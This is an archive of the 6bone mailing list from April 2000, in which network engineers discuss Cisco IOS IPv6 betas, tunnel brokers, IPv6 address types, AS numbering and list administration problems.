"Trust in the Force, Luke, and wait." Obi-Wan Kenobi


From 6bone-owner  Wed Apr  5 19:20:16 2000
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Reply-To: <snare@greenmount.org>
From: "Amer Mallah" <snare@greenmount.org>
To: <6bone@ISI.EDU>
Subject: Cisco IOS beta with IPv6 support?
Date: Wed, 5 Apr 2000 22:20:22 -0400
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Has anyone tried this on the 25xx series routers (or any router for that
matter)? Does it support both IPv4 and IPv6? Is it stable?


From 6bone-owner  Wed Apr  5 19:35:24 2000
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To: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
Cc: "6bone" <6bone@ISI.EDU>
Subject: Re: 6bone and RSVP 
In-reply-to: Your message of "Wed, 05 Apr 2000 17:31:54 EDT."
             <NEBBILPGILJOMAFJGIPAAEHDCAAA.hansolofalcon@worldnet.att.net> 
Date: Wed, 05 Apr 2000 22:34:56 -0400
From: Jim Bound - Give me liberty or give me death <bound@zk3.dec.com>
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Hi Greg,

Compaq Tru64 UNIX supports RSVP for IPv6 and we can act as router on a
LAN too.  If you want to set up some testing contact me privately and be
glad to get folks to work with you.  Right now we only support Control
Load intserve, but that should be enough to do some testing.  What would
be a really good test is if we could run some IPv4 VoIP via IPv6 Tunnels
across the 6bone and use RSVP to set up RESV points to decrease latency
for real test results.  I could probably get some of our VoIP ISVs to
participate maybe too.

regards,
/jim


From 6bone-owner  Wed Apr  5 21:22:30 2000
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From: "Chris P. Ross" <cross@eng.us.uu.net>
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To: <snare@greenmount.org>
Cc: <6bone@ISI.EDU>
Subject: Re: Cisco IOS beta with IPv6 support?
In-Reply-To: Amer Mallah's message of Wed, 5 April 2000 22:20:22 -0400 <NDBBIFBOIDADGPENDJBEEEKGCCAA.snare@greenmount.org>
References: <NDBBIFBOIDADGPENDJBEEEKGCCAA.snare@greenmount.org>
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"Amer Mallah" <snare@greenmount.org> said:
> Has anyone tried this on the 25xx series routers (or any router for that
> matter)? Does it support both IPv4 and IPv6? Is it stable?

  I am running the 199903 version on my 2524, and have no problems.
Does IPv4 just fine, and has native IPv6 over a T1 to a cisco 4700 at
work.  All static routes, but..  Works just fine, and seems fairly
stable at least for what I'm using it for...

               - Chris

--
Chris P. Ross				UUNET Technologies, Inc.
cross@eng.us.uu.net			R & D / Engineering
cross@uu.net

From 6bone-owner  Wed Apr  5 21:36:20 2000
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "6bone" <6bone@ISI.EDU>
Subject: OT:Strange e-mail from Topica.com
Date: Thu, 6 Apr 2000 00:36:11 -0400
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Hello from Gregg C Levine usually at Jedi Knight Computers
Has anyone received a complaint from some outfit calling itself Topica.com?
Yesterday I posted a message that most of you have seen, maybe seen and
read, on IPv6, and RSVP. Well it endgendered a complaint from those guys,
plus a weird message from some ****** at that shop. Naturally I immediately
dashed off a couple of complaint messages, no responses yet. They claim to
be a front-end for all of the mailling lists that are running here on the
Internet. I have a feeling that they do not understand the way this one is
set up. Please note that this message does not need a reply, if you wish to
do so, please do so off of this list.
Gregg C Levine mailto:hansolofalcon@worldnet.att.net
"Use the Force, Luke." Obi-Wan Kenobi
"Trust in the Force, Luke, and wait." Obi-Wan Kenobi


From 6bone-owner  Wed Apr  5 22:02:11 2000
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Reply-To: <snare@greenmount.org>
From: "Amer Mallah" <snare@greenmount.org>
To: <6bone@ISI.EDU>
Subject: RE: Cisco IOS beta with IPv6 support?
Date: Thu, 6 Apr 2000 01:02:13 -0400
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> > Has anyone tried this on the 25xx series routers (or any router for that
> > matter)? Does it support both IPv4 and IPv6? Is it stable?
>
>   I am running the 199903 version on my 2524, and have no problems.
> Does IPv4 just fine, and has native IPv6 over a T1 to a cisco 4700 at
> work.  All static routes, but..  Works just fine, and seems fairly
> stable at least for what I'm using it for...

I'm just a bit hesitant about upgrading because it is a production system (a
local ISP). What does your running configuration look like? Does your Cisco
4700 have the IPv6 IOS? My situation is that the other end of my T1 doesn't
(and probably won't until the last minute) support IPv6. So, I'd have to
setup IPv4 to the other end of the T1 and some kind of 6to4 setup to whoever
would provide a tunnel for us. (We're located in Baltimore, MD - any takers?
:) Does the IOS support this kind of thing?

amer


From 6bone-owner  Wed Apr  5 23:02:52 2000
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From: "Dj Padzensky" <djpadz@padz.net>
To: <snare@greenmount.org>, <6bone@ISI.EDU>
Subject: RE: Cisco IOS beta with IPv6 support?
Date: Wed, 5 Apr 2000 23:02:56 -0700
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I've got the IOS beta running on my 2513, and it seems to work.  I haven't
had much time to do any serious work with it (I'm still looking to get an
address block for my network) outside of pinging, but it seems pretty stable
at first blush.

--Dj

> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of Amer
> Mallah
> Sent: Wednesday, April 05, 2000 7:20 PM
> To: 6bone@ISI.EDU
> Subject: Cisco IOS beta with IPv6 support?
>
>
> Has anyone tried this on the 25xx series routers (or any router for that
> matter)? Does it support both IPv4 and IPv6? Is it stable?
>
>


From 6bone-owner  Wed Apr  5 23:19:40 2000
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From: srg@2alpha.com (Spencer Garrett)
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To: 6bone@ISI.EDU
Subject: Re: Cisco IOS beta with IPv6 support?
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> From: "Amer Mallah" <snare@greenmount.org>
> Date: Wed, 5 Apr 2000 22:20:22 -0400
> 
> Has anyone tried this on the 25xx series routers (or any router for that
> matter)? Does it support both IPv4 and IPv6? Is it stable?

I tried to load it about 10 days ago, but the checksum failed, so I
couldn't run it.  (And, yes, I downloaded it multiple times in the
same way that I download other IOS images that work...)

I remember reading somewhere that IPv6 support was planned for
IOS 12.1, but that's out now and the support isn't there.

Spencer

From 6bone-owner  Wed Apr  5 23:45:36 2000
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Date: Thu, 06 Apr 2000 08:45:39 MET-DST
From: "Wilfried Woeber, UniVie/ACOnet" <woeber@cc.univie.ac.at>
To: snare@greenmount.org
CC: 6bone@ISI.EDU, woeber@cc.univie.ac.at
Message-ID: <009E832C.F2C731E8.3@cc.univie.ac.at>
Subject: RE: Cisco IOS beta with IPv6 support?
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>Has anyone tried this on the 25xx series routers

  Yes (the 12.0-based beta).
  Ethernet, serial lines, tunnels and load-sharing.

>(or any router for that matter)?

  Again, yes: 4500 (11.3 based and 12.0-based betas)
  Ethernet, ATM, serial lines

>Does it support both IPv4 and IPv6?

  It supports many things that you'd like to see reasonably well (should
  I say: surprisingly well?!), others are still missing or not working in
  one version or the next (e.g. there seems to be a loose end in v6 DNS).

>Is it stable?

  It depends on what you throw at it :-)

  It's still beta code (accessible by NDA) and sometimes you are in for a
  surprise... But the same holds true for any and all v6 components that
  we had put fingers at, both vendor-supported as well as open source :-)
  
  Summary: Caution: wet paint!
  
  -WW
 _________________________________:_____________________________________
  Wilfried Woeber                 : e-mail: Woeber@CC.UniVie.ac.at
  UniVie Computer Center - ACOnet : Tel: +43 1 4277 - 140 33
  Universitaetsstrasse 7          : Fax: +43 1 4277 - 9 140
  A-1010 Vienna, Austria, Europe  : RIPE-DB: WW144, PGP keyID 0xF0ACB369
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~:~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  First things first, but not necessarily in that order....

From 6bone-owner  Thu Apr  6 03:50:43 2000
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From: "Ally Gudgeon" <alison.gudgeon@kingston-internet.net>
To: <6bone@ISI.EDU>
Subject: Looking Glass
Date: Thu, 6 Apr 2000 11:57:12 +0100
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This is a multi-part message in MIME format.

------=_NextPart_000_0103_01BF9FBF.3E783B20
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Hi - would anyone be able to tell me where I may get the source code for =
a IpV6 looking
glass using a cisco router?

Thanks

Ally

------=_NextPart_000_0103_01BF9FBF.3E783B20
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
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</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi - would anyone be able to tell me =
where I may=20
get the source code for a IpV6 looking</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>glass using a cisco =
router?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Ally</FONT></DIV></BODY></HTML>

------=_NextPart_000_0103_01BF9FBF.3E783B20--


From 6bone-owner  Thu Apr  6 06:43:56 2000
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itojun@iijlab.net wrote:
> 
> >Here's what I have right now:
> >
> >(Best viewed in a fixed font)
> >
> >+-----+
> >|     |          A:  Windows 95 machine using a Random Address
> >|  A  |-----+        from a local ISP.
> >|     |     |    B:  NetBSD-current running KAME
> >+-----+     |    C:  Corporate Office
> >            |            +-----+
> >+---+  +----+-----+      |     |
> >| C |--| Internet +------+  B  +-------{ Local non-routable network }
> >+---+  +----+-----+      |     |
> >                         +-----+
> >
> >Here's where I want to end up:
> >
> >+-----+
> >|     |          A:  Cisco 675 ADSL router (with a new static address)
> >|  A  |-----+        connected to a pair of Win-95  machines (with
> >|     |     |        non-routable NATed addresses).
> >+-----+     |    B:  NetBSD-current running KAME
> >            |    C:  Corporate Office
> >            |            +-----+
> >+---+  +----+-----+      |     |
> >| C |--| Internet +------+  B  +-------{ Local non-routable network }
> >+---+  +----+-----+      |     |
> >                         +-----+
> >
> >Clearly, I need a VPN solution, and since (B) already has IPSec and
> >IPv6 loaded and working, could someone make some recommendations
> >about what I need to research to figure out a workable solution for
> >the Interconnect.
> 
>         It is not very clear, from the diagram, what you are trying to achieve.
>         Which part of the diagram is IPv6 network, and which part is IPv4?

Network A is a pair of Windows machine on a NAT enabled Cisco 675.  
In order for these to become IPv6, we would need to upgrade them
to W2K and install the IPv6 package from Microsoft.  That would
make the connection from A to B work, but that forces me to upgrade
all of the servers in Network B to W2K.

Network B is an IPv4 and IPv6 enabled network, using KAME and NetBSD.

Network C is an IPv4 network which Network B can route for Network A
(if network A becomes an IPv6 network).  

The Internet (for purposes of this situation) should be viewed as
primarilty IPv4.

Everyone on Networks A and B needs to be able to share resources. 
Everyone on Networks A and B needs to be able to see into Network
C.  No one from the Internet should be able to see into A, B, or C.

> 
> itojun


From 6bone-owner  Thu Apr  6 08:06:22 2000
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Date: Thu, 6 Apr 2000 11:05:29 -0400 (EDT)
From: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>
Reply-To: wmaton@ryouko.dgim.crc.ca
To: Ally Gudgeon <alison.gudgeon@kingston-internet.net>
cc: 6bone@ISI.EDU
Subject: Re: Looking Glass
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On Thu, 6 Apr 2000, Ally Gudgeon wrote:

> Hi - would anyone be able to tell me where I may get the source code for a IpV6 looking
> glass using a cisco router?

I was comtemplating creating one similar to the one I know have for IPv4:

	http://ryouko.dgim.crc.ca/x-bin/c2routes.pl

Hmm...OK, it turns out I used to have a working version:

	http://ryouko.dgim.crc.ca/x-bin/c2v6routes.pl

Sigh.  I really gotta fix it.

> Ally

wfms


From 6bone-owner  Thu Apr  6 10:32:58 2000
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Subject: Re: IPv6 and IPSec in real life....
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itojun@iijlab.net wrote:
> 
> >Network A is a pair of Windows machine on a NAT enabled Cisco 675.
> >In order for these to become IPv6, we would need to upgrade them
> >to W2K and install the IPv6 package from Microsoft.  That would
> >make the connection from A to B work, but that forces me to upgrade
> >all of the servers in Network B to W2K.
> >
> >Network B is an IPv4 and IPv6 enabled network, using KAME and NetBSD.
> >
> >Network C is an IPv4 network which Network B can route for Network A
> >(if network A becomes an IPv6 network).
> >
> >The Internet (for purposes of this situation) should be viewed as
> >primarilty IPv4.
> >
> >Everyone on Networks A and B needs to be able to share resources.
> >Everyone on Networks A and B needs to be able to see into Network
> >C.  No one from the Internet should be able to see into A, B, or C.
> 
>         If your goal is to setup IPv6 connectivity
>         among A, B and C,  You just need to take the following steps:
>         1. make edge router for A, B and C (which has global IPv4 address -
>            outside of NAT) to be IPv4/v6 dual stack.
>         2. establish IPv6-over-IPv4 tunnel among edge routers,
>         3. populate native IPv6 network into A, B and C.
>            now A, B and C has IPv6 connectivity.
> 
>         NAT is IPv4-only thing.  You can just ignore them when you think about
>         IPv6 interconnection.
>         (In case you want IPv4 VPN, this is not the best place to ask)

Thank you for the quick response.

The more I think about it, the more I think your suggestion will work
out the best.  I can set up V6 over V4 routing between firewalls in both 
enclaves.  This avoids the problem with the massive upgrades, but adds
another computer into the mix.  



> 
> itojun


From 6bone-owner  Mon Apr 10 17:14:00 2000
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "6bone" <6bone@ISI.EDU>
Subject: Support on Slackware7 for IPv6
Date: Mon, 10 Apr 2000 20:07:03 -0400
Keywords: Ideas, International, Miscellaneous
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Hello from Gregg C Levine usually at Jedi Knight Computers
Am I correct in assuming that the current build/version of Slackware
contains support for IPv6? And that everything posted/quoted on the 6bone
web site is applicable to that version? Don't everybody respond at once.
Gregg C Levine mailto:hansolofalcon@worldnet.att.net
"Use the Force, Luke." Obi-Wan Kenobi
"Trust in the Force, Luke, and wait." Obi-Wan Kenobi


From 6bone-owner  Mon Apr 10 20:30:09 2000
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "6bone" <6bone@ISI.EDU>
Subject: OT:Strange e-mail from Topica.com (This is not a repeat message, this is a new one with a new item!)
Date: Mon, 10 Apr 2000 23:29:36 -0400
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Hello from Gregg C Levine usually at Jedi Knight Computers
Has anyone received a complaint from some outfit calling itself Topica.com?
Today I posted a message that most of you have seen, maybe seen and read, on
IPv6, and Linux from Slackwar v7.0. Well it endgendered a complaint from
those guys, plus a weird message from some ****** at that shop. Naturally I
immediately dashed off a couple of complaint messages, no responses yet.
They claim to be a front-end for all of the mailling lists that are running
here on the Internet. I have a feeling that they do not understand the way
this one is set up. Please note that this message does not need a reply, if
you wish to do so, please do so off of this list.

Gregg C Levine mailto:hansolofalcon@worldnet.att.net
"Use the Force, Luke." Obi-Wan Kenobi
"Trust in the Force, Luke, and wait." Obi-Wan Kenobi


From 6bone-owner  Tue Apr 11 00:34:03 2000
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Date: Tue, 11 Apr 2000 01:34:12 -0600 (MDT)
From: Miles Nordin <carton@Ivy.NET>
To: 6bone <6bone@ISI.EDU>
Subject: Re: OT:Strange e-mail from Topica.com (This is not a repeat message,
 this is a new one with a new item!)
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On Mon, 10 Apr 2000, Gregg C Levine wrote:

> Has anyone received a complaint from some outfit calling itself Topica.com?

This is becoming a FAQ.  I sent a description of the problem to
6bone-owner.  I got no reply.  Hence the noise on the list itself.
``Don't blame me.''

Is anyone reading the owner address?  Someone should be.

This problem looks to me like it requires the attention of the list
administrator, and isn't getting it. 

I discussed this with Topica at length.  Basically, all they did was,
finally, agree with my analysis--a user named 'fla-mail@isfa.com' is
subscribed to the 6bone list.  That user needs to be unsubscribed.  Only
the owner of THIS list can do it.  If Topica's and my analysis is correct,
then what's required is no more than the most basic of list-administrator
tasks--unsubscribe an address that's bouncing mail.  If the situation is
more complicated than I suggested, then what's required is:

 1) a timely reply to mail sent to 6bone-owner@isi.edu.  else it is
    reasonable to assume that the list has no owner, and is anymore 
    completely machine-run.  This causes people like me to spam the list,
    and is therefore very bad.

 2) possibly a public explanation that the problem is being worked on.
    as is, it took me a lot of digging just to conclude that my
    earlier post actually went out to the list and wasn't lost.  This is
    confusing enough to warrant public noise.

The Topica questions from newbies are annoying, but they are also
reasonable.  The error messages Topica is sending are really confusing.
Also, it is inappropriate for this list to negligently inject off-topic
traffic into a Soccer special-interest list, which is what the incorrect
subscription is doing.

If the 6bone-owner has dissappeared, maybe someone knows how to get a new
``owner'' put in place?  If not, then I think this list should be moved
off ISI. There are a lot of people here who have the resources and
competence to host a list of this volume, and who would be able to do
simple housekeeping like this as needed.  We do not need the blessing of
an apparently vacant authority to accept an offer from some random
generous sysadmin and move onto his box en masse.

Can someone fix the Topica thing or not?  It is not a lot to ask.
w.t.f. is going on?

-- 
Miles Nordin / v:+1 720 841-8308 fax:+1 530 579-8680
555 Bryant Street PMB 182 / Palo Alto, CA 94301-1700 / US





From 6bone-owner  Tue Apr 11 06:44:52 2000
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Date: Tue, 11 Apr 2000 06:42:34 -0700
Subject: ipv6 address- quick question
To: ksbn@kt.co.kr
Cc: 6bone@ISI.EDU, 6bone-jp@wide.ad.jp, noc@abilene.iu.edu,
        ipv6-support@cisco.com, hackers@kr.freebsd.org
From: Nora_Parker@monterey.edu (Nora Parker)
References: <38D6C866.CB18338C@kt.co.kr>
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I have read many books and papers on the addresses for ipv6 but still
can't figure out exactly what the three different address on the eth0 are.
Can someone give me quick explanation of the Link, Site and Global
address? 

thanks
Nora 


From 6bone-owner  Tue Apr 11 07:11:05 2000
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Date: Tue, 11 Apr 2000 08:12:04 -0600
To: 6bone@ISI.EDU
From: Sandra Turner <slt@lanl.gov>
Subject: Redhat 6.2 tunnel request
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Who should I talk to about getting an IPv6-in-IPv4-tunnel fro RedHat 6.2?
I've sent a previous email to this address as well as Bob Fink and have not
gotten any reply.  I'm in Los Alamos, NM at Los Alamos National Laboratory.
 My ip address is 128.165.114.229 and host name is pn828014.  My inet6 addr
from ifconfig is fe80::210:5aff:fe02:2f05/10 and HW addr is 00:10:5A:02:2F:05.


From 6bone-owner  Wed Apr 12 04:55:40 2000
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Date: Wed, 12 Apr 2000 17:18:53 +0530 (IST)
To: Nora Parker <Nora_Parker@monterey.edu>
cc: ksbn@kt.co.kr, 6bone@ISI.EDU, 6bone-jp@wide.ad.jp, noc@abilene.iu.edu,
        ipv6-support@cisco.com, hackers@kr.freebsd.org
Subject: Re: ipv6 address- quick question
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Hi,

Ok .. A Quick Explanation...

Link Local - > this address is used within a link..(i.e Link local
addresses are not fowarded by the router).Automatically Set Based on
EUI-64. Used primarily for neighbour discovery etc.

Site Local ->  valid within a site.Can be assigned

Global -> Valid anywhere within the Internet domain..Assigned.

Try RFC-1884 (IPv6 addressing specs.) for more detail.



On Tue, 11 Apr 2000, Nora Parker wrote:

> I have read many books and papers on the addresses for ipv6 but still
> can't figure out exactly what the three different address on the eth0 are.
> Can someone give me quick explanation of the Link, Site and Global
> address? 
> 
> thanks
> Nora 
> 
> 


From 6bone-owner  Wed Apr 12 13:38:14 2000
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Date: Wed, 12 Apr 2000 22:42:29 +0200
From: Wildandi <wildandi@scene.at>
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Hello,

I'm from Austria and have 64kbit connection (ISDN) to the internet.
So where can i get my IPv6 adress for my location?

greets

Wildandi


From 6bone-owner  Wed Apr 12 13:56:23 2000
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Date: Wed, 12 Apr 2000 13:56:30 -0700
To: Wildandi <wildandi@scene.at>, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
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At 10:42 PM 4/12/2000 +0200, Wildandi wrote:
>Hello,
>
>I'm from Austria and have 64kbit connection (ISDN) to the internet.
>So where can i get my IPv6 adress for my location?


Take a look at freent6:

<http://www.freenet6.net/>


Bob


From 6bone-owner  Wed Apr 12 17:16:05 2000
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www.freenet6.net

At 10:42 PM 4/12/2000 +0200, Wildandi wrote:
>Hello,
>
>I'm from Austria and have 64kbit connection (ISDN) to the internet.
>So where can i get my IPv6 adress for my location?
>
>greets
>
>Wildandi


From 6bone-owner  Wed Apr 12 18:30:14 2000
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q

From 6bone-owner  Thu Apr 13 00:26:02 2000
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Date: Thu, 13 Apr 2000 09:31:26 +0200
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fd97202@bits-pilani.ac.in wrote:

> Global -> Valid anywhere within the Internet domain..Assigned.
>
> Try RFC-1884 (IPv6 addressing specs.) for more detail.

FYI: Note that RFC 1884 has been obsoleted by RFC 2373 !!

http://130.225.51.30/RFC/rfc/rfc2373.html

    / Mathias

--
 +-----------------------------------------------------------+
 | Mathias Teikari             mathias.teikari@telscom.ch    |
 | Ba. Sc. EE.                 Office Ph: +41 (0)31 376 2030 |
 | SW Development Engineer     Mobile Ph: +41 (0)76 541 9449 |
 | Telscom AG                  Sandrainstr. 17, CH-3007 Bern |
 |                                                           |
 +----------------- http://www.telscom.ch -------------------+




From 6bone-owner  Thu Apr 13 01:56:28 2000
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Date: Thu, 13 Apr 2000 10:55:25 +0200
From: Guardini Ivano <Ivano.Guardini@CSELT.IT>
Subject: RE: Getting IPv6 Adress
To: "'Wildandi'" <wildandi@scene.at>
Cc: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
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You can use the Tunnel Broker service available at CSELT:

http://carmen.cselt.it/ipv6tb

Bye
Ivano

> ----------
> From: 	Wildandi[SMTP:wildandi@scene.at]
> Sent: 	Wednesday, April 12, 2000 10:42 PM
> To: 	6bone@ISI.EDU
> Subject: 	Getting IPv6 Adress
> 
> Hello,
> 
> I'm from Austria and have 64kbit connection (ISDN) to the internet.
> So where can i get my IPv6 adress for my location?
> 
> greets
> 
> Wildandi
> 

From 6bone-owner  Thu Apr 13 07:56:50 2000
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Folks,

I'm looking for people who are using IPv6 in Ireland -- we've been looking
at getting our act together and connecting to the 6bone, but the few
sites in the country that are on the 6bone seem to have mostly lost
interest, according to my scanty research.

If nobody else comes forward, I'll offer to start a list for those
people doing stuff with v6 around here, to foster discussion.

Mike

-- 
Computer Science System Administrator, Trinity College, Dublin, Ireland
       mike.knell@cs.tcd.ie -=- http://www.cs.tcd.ie/Mike.Knell/

From 6bone-owner  Fri Apr 14 18:05:10 2000
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        cisco-IPv6 
	<ipv6-support@cisco.com>, itojun <itojun@iijlab.net>
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How are you?

I hope to know the performance difference
between IPv4 routers and IPv6 routers.

Will you help me?
What can I do to get the data of performance difference
between IPv4 routers and IPv6 routers?

Thanks,
ksb

--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8329
  E-mail :  ksbn@kt.co.kr
--




From 6bone-owner  Fri Apr 14 18:14:29 2000
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Date: Sat, 15 Apr 2000 11:13:05 +1000 (EST)
From: "Peter Tattam (IPv6 Mail)" <peter-v6@jazz-1.trumpet.com.au>
To: Dj Padzensky <djpadz@padz.net>
cc: snare@greenmount.org, 6bone@ISI.EDU
Subject: RE: Cisco IOS beta with IPv6 support?
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We are running our 6 bone gateway using an old 2511.  Had to upgrade the RAM to
fit it in, but it runs just fine.  It runs BGP and handles several tunnels.
The volume is low so no problems on that front, but it should be able to
deliver up to T1 rates.  We are running it as a production PPP server for IPv6
access.  It works, but there's not a lot of demand yet :)

Peter

On Wed, 5 Apr 2000, Dj Padzensky wrote:

> 
> I've got the IOS beta running on my 2513, and it seems to work.  I haven't
> had much time to do any serious work with it (I'm still looking to get an
> address block for my network) outside of pinging, but it seems pretty stable
> at first blush.
> 
> --Dj
> 
> > -----Original Message-----
> > From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of Amer
> > Mallah
> > Sent: Wednesday, April 05, 2000 7:20 PM
> > To: 6bone@ISI.EDU
> > Subject: Cisco IOS beta with IPv6 support?
> >
> >
> > Has anyone tried this on the 25xx series routers (or any router for that
> > matter)? Does it support both IPv4 and IPv6? Is it stable?
> >
> >
> 
> 

--
Peter R. Tattam                            peter-v6@trumpet.com.au
Managing Director,    Trumpet Software International Pty Ltd
Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210


From 6bone-owner  Sat Apr 15 23:01:57 2000
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Pardon my asking this here, but in all my research on-line, I've not found
anything like an IPv6 job board. Is there such a thing for someone looking
to do IPv6-related work? Any recommendations about where to go? (besides
the obvious ones ;)


__________
Erik Kline
ekline.com


From 6bone-owner  Sun Apr 16 08:35:43 2000
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Date: Sun, 16 Apr 2000 08:29:47 -0700 (PDT)
From: Todd Whipple <whipple@zama.net>
To: 6bone@ISI.EDU
Subject: Re: IPv6 job listing
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On Sat, 15 Apr 2000, Erik Kline wrote:

> 
> Pardon my asking this here, but in all my research on-line, I've not found
> anything like an IPv6 job board. Is there such a thing for someone looking
> to do IPv6-related work? Any recommendations about where to go? (besides
> the obvious ones ;)
> 

In about a week, take a look at www.zama.net.


Todd Whipple



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From: "Alan P. Laudicina" <alanp@linux.com>
To: 6bone@ISI.EDU
cc: alanp@linux.com
Subject: Cable modem
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I was wondering if any pTLAs would give an ipv6 block to a box
behind a cable modem, or do you need to have a faster connection
than that?

Thanks,
Alan P. Laudicina

--
|          Alan P. Laudicina / alanp@linux.com          |
|  http://corp.linux.com  /  http://www.unixpower.org   |
| "You can get more with a kind word and a gun than you |
| can with a kind word alone." - Al Capone (1899-1947)  |


From 6bone-owner  Mon Apr 17 07:51:03 2000
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To: 6bone@ISI.EDU
From: Mike Knell <mike.knell@cs.tcd.ie>
Subject: ipv6 in .ie - new list
Date: Mon, 17 Apr 2000 15:51:03 +0100
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As my researches on local v6 activity have more or less drawn a blank
(thanks to the folks who were able to provide info), I've created a list 
for people interested in v6 in Ireland. It's not intended to provide
configuration assistance or basic stuff that's already covered in
documentation, but more for general discussions of local implementation, 
who's doing what, etc.

mail majordomo@cs.tcd.ie
subscribe iev6 (yes, that's iev6 - bad pun which will probably cause lots
                of bounces in the future, but hey)

Mike

-- 
Computer Science System Administrator, Trinity College, Dublin, Ireland
       mike.knell@cs.tcd.ie -=- http://www.cs.tcd.ie/Mike.Knell/

From 6bone-owner  Fri Apr 21 18:35:51 2000
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Date: Sat, 22 Apr 2000 10:44:11 +0900
From: ksb <ksbn@kt.co.kr>
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Organization: Korea Telecom
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How are you?

I have used same IPv6 AS number for IPv4 on
my experiment network.
Then I have a question for the  IPv6 AS number.

What is recommend that same IPv6 AS munber
for IPv4   or    different IPv6 AS number for using
IPv4?

Thanks,
ksb

--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8329
  E-mail :  ksbn@kt.co.kr
--




From 6bone-owner  Sat Apr 22 03:32:08 2000
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Date: Sat, 22 Apr 2000 20:29:19 +1000
To: ksbn@kt.co.kr
From: Philip Smith <pfs@cisco.com>
Subject: Re: Question of AS
Cc: 6Bone-KR <6bone-kr@6bone.ne.kr>, 6Bone(WIDE) <6bone-jp@wide.ad.jp>,
        6bone(=?EUC-KR?B?sbnBpg==?=)  <6bone@ISI.EDU>
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 From my view of the 6bone, most participants seem to be using the ASN they 
use for their IPv4 backbones.

I'd also suspect that in the longer run it would ease migration from IPv4 
only backbone to an IPv6 capable backbone if you used the same ASN. Those 
organisations I have been involved with certainly are adopting that 
strategy. (Their argument is that they want the IPv6 capable part of their 
infrastructure to be an integral part of the existing infrastructure, not a 
separate network they have to somehow peer with.)

philip
--

At 10:44 22/04/00 +0900, ksb wrote:
>How are you?
>
>I have used same IPv6 AS number for IPv4 on
>my experiment network.
>Then I have a question for the  IPv6 AS number.
>
>What is recommend that same IPv6 AS munber
>for IPv4   or    different IPv6 AS number for using
>IPv4?
>
>Thanks,
>ksb
>
>--
>   Kim, Sahng-Beom / Korea Telecom
>   TEL :    +82-42-870-8322
>   FAX :    +82-42-870-8329
>   E-mail :  ksbn@kt.co.kr
>--
>
>
>

--------------------------------------------------------
Philip Smith       vm: 6178202       ph: +61 7 3238 8202
Consulting Engineering, Office of the CTO, Cisco Systems
-------------------------------------------------------- 


From 6bone-owner  Sun Apr 23 18:21:53 2000
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From: "Ettikan Kandasamy" <ettikan@nttmsc.com.my>
To: Philip Smith <pfs@cisco.com>
cc: ksbn@kt.co.kr, 6Bone-KR <6bone-kr@6bone.ne.kr>,
        6Bone(WIDE) <6bone-jp@wide.ad.jp>,
        6bone((unknown chars)±¹(unknown chars)) <6bone@ISI.EDU>
Message-ID: <C82568CB.0006E046.00@NTTMSCCJ02.nttmsc.com.my>
Date: Mon, 24 Apr 2000 10:15:05 +0900
Subject: Re: Question of AS
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--0__=cKpPrWpf1QTIHHNNDan1JqvnGcOex9U0pCbwQPvdiCRFtDsSBWM7x4Oq
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Does this is accepted by the RIRs ????

-ettikan




Philip Smith <pfs@cisco.com> on 04/22/2000 11:29:19 AM

To:   ksbn@kt.co.kr
cc:   6Bone-KR <6bone-kr@6bone.ne.kr>, 6Bone(WIDE) <6bone-jp@wide.ad.jp>,
      6bone(
--0__=cKpPrWpf1QTIHHNNDan1JqvnGcOex9U0pCbwQPvdiCRFtDsSBWM7x4Oq
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±¹
--0__=cKpPrWpf1QTIHHNNDan1JqvnGcOex9U0pCbwQPvdiCRFtDsSBWM7x4Oq
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$BNO(B) <6bone@ISI.EDU> (bcc: Ettikan Kandasamy/NTTMSC)

Subject:  Re: Question of AS



--0__=cKpPrWpf1QTIHHNNDan1JqvnGcOex9U0pCbwQPvdiCRFtDsSBWM7x4Oq
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline


 From my view of the 6bone, most participants seem to be using the ASN they
use for their IPv4 backbones.

I'd also suspect that in the longer run it would ease migration from IPv4
only backbone to an IPv6 capable backbone if you used the same ASN. Those
organisations I have been involved with certainly are adopting that
strategy. (Their argument is that they want the IPv6 capable part of their
infrastructure to be an integral part of the existing infrastructure, not a
separate network they have to somehow peer with.)

philip
--

At 10:44 22/04/00 +0900, ksb wrote:
>How are you?
>
>I have used same IPv6 AS number for IPv4 on
>my experiment network.
>Then I have a question for the  IPv6 AS number.
>
>What is recommend that same IPv6 AS munber
>for IPv4   or    different IPv6 AS number for using
>IPv4?
>
>Thanks,
>ksb
>
>--
>   Kim, Sahng-Beom / Korea Telecom
>   TEL :    +82-42-870-8322
>   FAX :    +82-42-870-8329
>   E-mail :  ksbn@kt.co.kr
>--
>
>
>

--------------------------------------------------------
Philip Smith       vm: 6178202       ph: +61 7 3238 8202
Consulting Engineering, Office of the CTO, Cisco Systems
--------------------------------------------------------




--0__=cKpPrWpf1QTIHHNNDan1JqvnGcOex9U0pCbwQPvdiCRFtDsSBWM7x4Oq--


From 6bone-owner  Sun Apr 23 20:18:48 2000
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Date: Sun, 23 Apr 2000 22:31:27 -0400
To: 6bone@ISI.EDU
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: calling for help from developers
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Hi,
	We are preparing a presentation at the next IPv6Forum event in UK mid may 
